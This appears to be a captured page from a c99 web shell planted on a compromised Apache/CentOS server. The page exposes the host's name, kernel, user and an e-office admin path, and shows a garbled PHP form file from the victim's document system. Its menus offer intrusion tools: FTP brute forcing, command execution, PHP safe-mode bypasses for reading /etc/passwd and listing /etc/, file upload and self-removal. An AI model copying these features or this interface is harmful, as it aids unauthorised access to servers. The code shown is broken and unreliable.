!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/eoffice/admin/   drwxr-xr-x
Free 52.33 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showSelectInsertTypeDoc.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
      <table align="left" width="95%" >
       <tr>
          <td height="25" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_19"]; ?>" colspan="2">
            <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="3"><strong> 
            &nbsp;ลงทะเบียนหนังสือ: </strong></font> 
            <select name="RsID" onChange='return showDoc();' >
              <? 
                    
if($oDP->receiveOut=="Y"){ ?>
                    <option value="1" <?   if($RsID==1){   echo "selected"; }  ?>><? echo $oRSt->SearchShowRsName(1); ?></option>
                <?    }if($oDP->sendOut=="Y"){ ?>
                    <option value="2" <?    if($RsID==2){   echo "selected"; }  ?>><? echo $oRSt->SearchShowRsName(2); ?></option>
                <?    }if($oDP->sendIn=="Y"){ 
                                    if(
$oDlp->DlpID!="1" && $oDlp->DlpID!="2"){   //ไม่ใ่ช่สารบรรณกลาง   ?>
                                                <option value="4" <?   if($RsID==4){  echo "selected"; } ?>><? echo $oRSt->SearchShowRsName(4); ?></option>
                <?                 }
                        }
?>
                <option value="5" <?   if($RsID==5){  echo "selected"; } ?>><? echo $oRSt->SearchShowRsName(5); ?></option>
            </select>
            &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="3"><strong> 
            &nbsp;ชนิดหนังสือ: </strong></font> <select name="DtID" onChange='return showDoc();' >
              <? $oDt->RSdoctype();
                     while(
$oDt->GetRecord()){  
                             if(
$oDt->DtP!="1"){
                                if(
$RsID=="1" || $RsID=="2"){ 
                                        if(
$DtID=="3" || $DtID=="5" || $DtID=="6" || $DtID=="7" || $DtID=="9" || $DtID=="10" || $DtID=="11" || $DtID=="13" || $DtID=="15"){  $DtID="1"; }
                                        if(
$RsID=="1"){  $DocfCir=""; };
                                    if(
$oDlp->DlpID=="1" || $oDlp->DlpID=="2"){   //สารบรรณกลาง
                                            
if($oDt->DtID=="1" || $oDt->DtID=="2" || $oDt->DtID=="14"){?>
                                                  <option value="<? echo $oDt->DtID;?><?    if($DtID==$oDt->DtID){   echo "selected"; }  ?>><? echo $oDt->DtName?></option>
                            <?             
                                    }else{ 
//สารบรรณย่อย
                                             
if($oDt->DtID=="1" || $oDt->DtID=="2"){?>
                                                  <option value="<? echo $oDt->DtID;?><?    if($DtID==$oDt->DtID){   echo "selected"; }  ?>><? echo $oDt->DtName?></option>
                            <?             
                                    }
                                }else if(
$RsID=="3" || $RsID=="4"){   
                                    if(
$oDlp->DlpID!="1" && $oDlp->DlpID!="2"){   //ไม่ใ่ช่สารบรรณกลาง    
                                          
if($DtID==""){  $DtID="3"; }
                                          if(
$DtID!="3" && $DtID!="15"){ $DtID="3"; }
                                         if(
$oDt->DtID==|| $oDt->DtID==15  ){?>
                                                <option value="<? echo $oDt->DtID;?><?     if($DtID==$oDt->DtID){   echo "selected"; }  ?>><? echo $oDt->DtName?></option>
                            <?         }  
                                    }                        
                                }else if(
$RsID=="5"){   
                                    if(
$DtID=="1" || $DtID=="2" || $DtID=="3" || $DtID=="14" || $DtID=="15"){  $DtID="5"; }
                                      if(
$oDt->DtID=="5" || $oDt->DtID=="6" || $oDt->DtID=="7" || $oDt->DtID=="9" || $oDt->DtID=="10" || $oDt->DtID=="11" || $oDt->DtID=="13"  ) {?>
                                            <option value="<? echo $oDt->DtID;?><?     if($DtID==$oDt->DtID){   echo "selected"; }  ?>><? echo $oDt->DtName?></option>
                     <?                
                               } 
?>
            <?             //show doc
                     
//while doctype
             
?>
            </select>
            </td>
</tr>
        </table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--